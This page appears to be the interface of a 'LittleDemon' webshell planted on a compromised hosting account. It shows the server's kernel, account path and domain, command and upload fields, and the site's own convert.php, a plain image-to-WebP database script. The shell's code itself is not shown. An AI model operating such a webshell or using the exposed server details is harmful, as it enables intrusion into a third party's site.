LittleDemon WebShell


Linux in-mum-web1499.main-hosting.eu 5.14.0-503.40.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Mon May 5 06:06:04 EDT 2025 x86_64
Path : /home/u901718425/domains/cdn.urbanpillar.in/public_html/
File Upload :
Command :
Current File : /home/u901718425/domains/cdn.urbanpillar.in/public_html/convert.php

<?php
$dsn = 'mysql:host='.getenv('DB_HOST').';dbname='.getenv('DB_DATABASE');
$username = getenv('DB_USERNAME');
$password = getenv('DB_PASSWORD');


function convert_img_to_webp($file,$targetDir){
  // Get a list of all image files in the source directory

      $sourceFile = pathinfo($file, PATHINFO_FILENAME);
      $outputFile = $targetDir . $sourceFile . '.webp';
      
      // Load the image using GD library
      $image = @imagecreatefromstring(file_get_contents($file));

      if ($image === false) {
            // Handle the error, log, or skip the current image
            // continue; // Skip to the next iteration of the loop
        }else{
            
          imagewebp($image, $outputFile);
          imagedestroy($image);
        }
            return $outputFile;
      
      // Free up memory
  
}

try {
    // Create a PDO instance
    $pdo = new PDO($dsn, $username, $password);
    $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

    // Define the SQL query
    $query = "SELECT id, date, image_repo FROM new_property";

    // Prepare and execute the query
    $stmt = $pdo->prepare($query);
    $stmt->execute();
    
    // Fetch the results as an associative array
    $results = $stmt->fetchAll(PDO::FETCH_ASSOC);
    
    
    foreach ($results as $row) {
        $createdDate = new DateTime($row['date']);
        $path = [];
        $path = json_decode($row['image_repo']);
        $recordId = $row['id']; 
   

        // Create a directory structure based on the image's creation date
        $year = $createdDate->format('Y');
        $month = $createdDate->format('m');
        $day = $createdDate->format('d');
        $targetDir = 'uploads/' . $year . '/' . $month . '/' . $day . '/';

        // Create the directory structure if it doesn't exist
        if (!is_dir($targetDir)) {
            mkdir($targetDir, 0777, true);
        }

        // Define the source and target paths
        if(isset($path) && is_array($path) && !empty($path)){
            foreach($path as $k => $val){
                $sourcePath = 'https://urbanpillar.in/files/' . $val;
                $targetPath = $targetDir . basename($val);
                // echo "Sourec path : $sourcePath <br> Target Path : $targetPath </br>";
            // Move the file to the specified path
       
                if(file_exists($targetPath)){
                    unlink($targetPath);
                }
                move_uploaded_file($sourcePath, $targetPath);
                echo pathinfo($sourcePath, PATHINFO_EXTENSION);
                if( pathinfo($sourcePath, PATHINFO_EXTENSION) != 'webp'){
                   $targetPath = convert_img_to_webp($sourcePath,$targetDir);
                }
                echo 'Moved file: ' . $sourcePath . ' to ' . $targetPath . '<br>';
    
                // Update the record in the database with the new path
                $updateQuery = "UPDATE image SET path = ? WHERE id = ?";
                $updateStmt = $pdo->prepare($updateQuery);
                $updateStmt->execute([$targetPath, $recordId]);
                // unlink($sourcePath);
                echo 'Updated record with new path.<br>';
            // } else {
            //     echo 'Image Not Found: ' . $sourcePath . '<br>';
            // }
        }
        }
    }
    
} catch (PDOException $e) {
    // Handle any connection or query errors
    echo 'Connection failed: ' . $e->getMessage();
}
?>

LittleDemon - FACEBOOK
[ KELUAR ]